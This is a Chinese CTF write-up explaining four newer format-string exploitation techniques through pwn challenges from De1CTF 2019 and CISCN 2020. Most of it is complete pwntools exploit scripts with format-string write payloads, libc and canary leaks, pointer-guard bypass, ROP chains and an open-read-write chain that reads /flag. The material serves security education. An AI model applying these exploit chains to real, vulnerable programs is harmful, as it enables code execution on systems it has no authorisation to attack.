作者:nuoye@星盟
相對於基本的%p進行leak和%n寫入,最近幾年出現了不少新的格式化字符串的利用方式,這裡以四道題為例,講下四個新的方法。
這道題主要涉及到到一個比較偏的格串符號*,在wiki中可以看到關於它的用法:
知道這一點,下面的題目也就不難了。
首先看下程序流程:
即輸入一個數以及一個9位元組的格式化字符串,從而使上述輸入的數與v3的值相同。
其中v3的值為隨機數:
這裡因為限制了只能輸入9個字節,所以需要用到*(type,表示取對應函數參數的值),其payload為:%7*$p%6$n。這樣即可將v3(在格串中對應偏移為7)的值輸入到v4(偏移為6)中,使兩數相等,進而getshell。
2020 ciscn 線下 and: pwn3thread
這道題本質上還是屬於棧溢出的內容,但因為涉及到printf函數中的一個函數劫持,所以也可以歸為格串的利用。
main函數如下:
即重複創建線程並等待返回。
線程中執行的函數:
該函數中首先保存了返回地址,並在結束前恢復返回地址,所以無法通過劫持該函數的返回地址來進行getshell。
該程序中用到了__printf_chk函數,該函數與printf的區別在於:
__printf_chk調用過程中有一個的buffered_vfprintf函數,相應漏洞內容如下:
其中fs寄存器指向線程棧地址之後連續的一塊地址,因此可以通過棧溢出劫持該指針,進而達到任意代碼執行的目的。
思路:
利用%p列印出libc地址和canary值,以便棧溢出
洩漏處libc+0x3F0990處的值,並進行移位操作,再與onegadget進行異或得到一格特定值。
將該特定值通過棧溢出的方式寫入到fs+0x30處,從而達到getshell目的。
exp:
from pwn import *p = process("./pwn")libc = ELF("./pwn").libcone = [0x4f3d5,0x4f432,0x10a41c]def ROR(i,index): tmp = bin(i)[2:] tmp = (64-len(tmp))*'0'+tmp for j in range(index): tmp = tmp[-1]+tmp[:-1] return int(tmp,2)
i = 7+5p.sendline("%p"*i)p.recvuntil("0x")libc_base =int(p.recv(12),16)-0x3ED8D0libc.address = libc_baseprint hex(libc_base)for i in range(i-5): p.recvuntil("0x")canary =int(p.recv(),16)print hex(canary)
payload = '%p'*6+'%s'+'aa'+p64(libc.address+0x3F0988)p.sendline(payload)p.recvuntil("025")p.recvuntil("0x")p.recvuntil("6161732570257025")
a = u64(p.recv(8))b = ROR(a,0x11)c = b ^ libc.address+one[1]print hex(a)print hex(b)payload = "a"*0x38+p64(canary)payload = payload.ljust(0x850,'\x00')payload += p64(0)*6+p64(c)p.sendline(payload)
p.interactive()2019 delta ctf : unprintable
很經典的一道關于格式化字符串的利用,這裡也稍微講解一下。
程序截圖如下:
關閉了回顯,並且存在格式化字符串漏洞,但是直接通過exit函數退出了,並且棧上也沒有什麼可以利用的點:
但細心點可以發現下面兩個地址:
在調用exit函數退出程序時,會調用到的_dl_fini函數,而該函數會根據link_map的l_addr偏移量來調用&fini_ararry+l_addr中存放的函數:
if (l->l_info[DT_FINI_ARRAY] != NULL){ ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); while (i-- > 0) ((fini_t) array[i]) ();}在gdb中調試可以發現如下代碼:
可以看到將會調用[0x600e38+8]+[rbx]處的值對應的函數,而其中rbx即是上面_dl_init+139前一個地址,該地址即為l_addr的地址。
利用該漏洞,可以通過修改l_addr,從而再一次進行read和printf,並且這一次在棧上我們可以發現一些有用的東西:
通過劫持這幾個地址即可重複的實現格式化字符串漏洞的利用。接著通過編寫rop串將stderr修改為onegadget然後執行即可。
exp:
from pwn import *p = process("./de1ctf_2019_unprintable",env={'LD_PRELOAD':'./libc-2.23.so'})libc = ELF("./libc-2.23.so")
p.recvuntil("0x")stack = int(p.recv(12),16)-0x110-8print hex(stack)
payload = "%"+str(0x298)+"c%26$hn"payload = payload.ljust(0x10,'\x00')+p64(0x4007A3)p.send(payload)
sleep(1)pop_rsp = 0x000000000040082dcsu_pop = 0x000000000040082Acsu_call = 0x0000000000400810stderr_ptr_addr = 0x0000000000601040stdout_ptr_addr = 0x0000000000601020one = [0x45226,0x4527a,0xf0364,0xf1207]one = [0x45216,0x4526a,0xf02a4,0xf1147]one_gadget = one[3]offset = one_gadget - libc.sym['_IO_2_1_stderr_']adc_p_rbp_edx = 0x00000000004006E8
rop_addr = 0x0000000000601260tmp = stderr_ptr_addr-0x48
rop = p64(csu_pop)rop += p64(tmp-1) rop += p64(tmp) rop += p64(rop_addr + 0x8 * 6 - tmp * 8 + 0x10000000000000000) rop += p64(offset + 0x10000000000000000) rop += p64(adc_p_rbp_edx) rop += p64(0) rop += p64(csu_call)
rop += p64(csu_pop)rop += p64(0) rop += p64(1) rop += p64(stderr_ptr_addr) rop += p64(0) rop += p64(0) rop += p64(0) rop += p64(csu_call)
rop_addr = rop_addr-0x18addr1 = rop_addr&0xffff+0x10000addr2 = (rop_addr>>16)&0xffff+0x10000addr3 = (rop_addr>>32)&0xffff+0x10000
payload = '%' + str(0xA3) + 'c%23$hhn'payload += '%' + str((stack-0xa3)&0xff) + 'c%18$hhn'p.send(payload)sleep(1)stack = stack+2payload = '%' + str(0xA3) + 'c%23$hhn'tmp1 = (stack-0xa3)&0xffpayload += '%' + str(tmp1) + 'c%18$hhn'tmp2 = tmp1+0xa3payload += '%' + str((addr1-tmp2)&0xffff) + 'c%13$hn'p.send(payload)sleep(1)
stack = stack+2payload = '%' + str(0x60) + 'c%13$hn'payload += '%' + str(0xA3-0x60) + 'c%23$hhn'tmp1 = (stack-0xa3)&0xffpayload += '%' + str(tmp1) + 'c%18$hhn'p.send(payload)sleep(1)
payload = '%13$hn'payload += '%' + str(pop_rsp&0xffff) + 'c%23$hn'payload = payload.ljust(0x200,'\x00')payload += ropp.send(payload)sleep(1)p.sendline("sh >&2")p.interactive()2020 ciscn 線下 break&fix : anti
程序主要功能如下:
可以看到與unprintable類似,同樣進行了close(1)。但用seccomp查看可以發現禁用了execute系統調用:
並且還開啟了pie,因此做法就不能與unprintable相同了。
這裡利用了IO結構中的_fileno,正常情況下,stdin、stdout、stderr分別對應1、2、3。通過修改這個值,可以將輸入輸出重定向到其他標識符中。這裡只關閉了1(即標準輸出),但是2(也就是標準錯誤輸出)沒有關閉,因此可以將其改為2,通過標準錯誤輸出來進行輸出,接著就可以進行leak,然後遷棧到buf中進行orw了。
這裡的關鍵點在於如何修改stdout的_fileno,通過觀察可以發現在給出的棧地址相對偏移-70的地方存在_IO_2_1_stdout的地址:
通過修改其低字節為\x90即可指向_fileno,接著就是如何對其進行寫入操作了。這裡需要爆破一下,將從vuln返回後能夠進入到讀取字符串處,只要將rbp改為上述棧地址+0x18處,即可實現修改:可以看到存在三個棧指針地址(0、4、8),以及一系列pie地址,第一步要做3個操作:將返回地址(即1)修改為ret指令的地址,以便執行2處地址。(因為只能通過%hhn寫入一字節,直接修改這個地址會直接跳轉過去導致失敗)這裡2和3步驟需要同時完成,同時,為了使讀取_fileno後返回還能正常輸入,這裡需要將棧地址-0x58的值修改為棧地址+0xc0,也就是使其返回後執行start函數(這裡因為將_fileno修改為2了,所以close(1)不會再產生影響)。到這裡就完成了輸出的重定向,接著就是leak,然後遷棧以及orw即可了。from pwn import *p = process("./anti")libc = ELF("anti").libcp.recvuntil(" 0x")stack = int(p.recv(12),16)print "stack1 : " + hex(stack)
pay = "%"+str((stack-0x18)&0xff)+"c%6$hhn"p.sendline(pay)
pay = "%"+str((stack-0x70)&0xff)+"c%10$hhn"p.sendline(pay)
pay = "%"+str(0x90)+"c%6$hhn"p.sendline(pay)
pay = "%"+str((stack-0x18)&0xff)+"c%10$hhn"p.sendline(pay)
pay = "%"+str((stack-0x8)&0xff)+"c%6$hhn"p.sendline(pay)
pay = "%"+str(0xdf)+"c%6$hhn"p.sendline(pay)
pay = "%"+str((stack-0x8+1)&0xff)+"c%10$hhn"p.sendline(pay)
pay = "%"+str(0x4c)+"c%6$hhn"p.sendline(pay)
pay = "%"+str((stack-0x58)&0xff)+"c%10$hhn"p.sendline(pay)
pay = "%"+str((stack+0xc0)&0xff)+"c%6$hhn"p.sendline(pay)
pay = "%"+str((stack-0x10)&0xff)+"c%10$hhn"p.sendline(pay)
pay = "%"+str(0x3c)+"c%6$hhn"pay += "%"+str((stack-0x58-0x3c)&0xff)+"c%10$hhn"p.sendline(pay)
p.sendline("\x02")p.send("\n")
p.recvuntil(" 0x")stack = int(p.recv(12),16)print "stack2 : " + hex(stack)p.sendline("%7$p%13$p")
p.recvuntil("0x")pie = int(p.recv(12),16) -0xf96print "pie : " + hex(pie)
p.recvuntil("0x")libc.address = int(p.recv(12),16) -0x20840print "libc_base : " + hex(libc.address)
buf = pie+0x202040pop_rsp_4 = pie + 0x000000000000104dpop_rax = 0x000000000003a738 + libc.addresspop_rdi = 0x0000000000021112 + libc.addresspop_rdx = 0x0000000000001b92 + libc.addresspop_rsi = 0x00000000000202f8 + libc.addresssyscall = 0x00000000000bc3f5 + libc.address
rop = ''rop += p64(pop_rax)rop += p64(2)rop += p64(pop_rdi)rop += p64(buf+0x100)rop += p64(pop_rsi)rop += p64(0)rop += p64(pop_rdx)rop += p64(0)rop += p64(syscall)
rop += p64(pop_rax)rop += p64(0)rop += p64(pop_rdi)rop += p64(1)rop += p64(pop_rsi)rop += p64(buf+0x500)rop += p64(pop_rdx)rop += p64(0x100)rop += p64(syscall)
rop += p64(pop_rax)rop += p64(1)rop += p64(pop_rdi)rop += p64(2)rop += p64(pop_rsi)rop += p64(buf+0x500)rop += p64(pop_rdx)rop += p64(0x100)rop += p64(syscall)
pay = "%"+str((stack-0x8)&0xff)+"c%6$hhn"p.sendline(pay)
pay = "%"+str(pop_rsp_4&0xff)+"c%10$hhn"p.sendline(pay)
pay = "%"+str((stack-0x8+1)&0xff)+"c%6$hhn"p.sendline(pay)
pay = "%"+str((pop_rsp_4>>8)&0xff)+"c%10$hhn"p.sendline(pay)
pay = "%"+str((stack-0x10)&0xff)+"c%6$hhn"p.sendline(pay)p.recv()pay = "%"+str(0x3c)+"c%10$hhn"pay = pay.ljust(0x18,'\x00')pay += roppay = pay.ljust(0x100,'\x00')pay += '/flag\x00'p.sendline(pay)p.recv(0x3c)
p.interactive()詳解 De1ctf 2019 pwn——unprintable